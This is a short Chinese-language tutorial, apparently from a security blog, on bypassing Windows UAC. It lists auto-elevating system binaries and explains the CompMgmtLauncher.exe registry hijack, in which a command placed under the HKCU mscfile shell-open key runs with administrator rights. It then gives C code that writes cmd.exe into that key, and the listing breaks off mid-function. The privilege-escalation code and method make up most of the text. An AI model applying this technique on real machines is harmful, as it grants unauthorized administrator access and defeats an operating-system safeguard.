ByPass UAC
- 白名单程序 Bypass UAC
有些系统程序是直接获取管理员权限,而不触发UAC弹框的,这类程序称为白名单程序.例如, slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等.这些 白名单程序可以通过DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作
利用CompMgmtLauncher.exe、该程序在启动时会查询注册表项"Software\classes\mscfile\shell\open\command"(msc后缀文件默认打开方式)、如果存在就会以管理员权限去执行该项默认程序。
#include <stdio.h>
#include <windows.h>
BOOL SetReg(char *);
int main()
{
char *path = "c:\\windows\\system32\\cmd.exe";
SetReg(path);
}
BOOL SetReg(char *lpszExePath)
{
HKEY hKey = NULL;
RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\classes\\mscfile\\shell\\open\\command",0,NULL,0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (NULL ==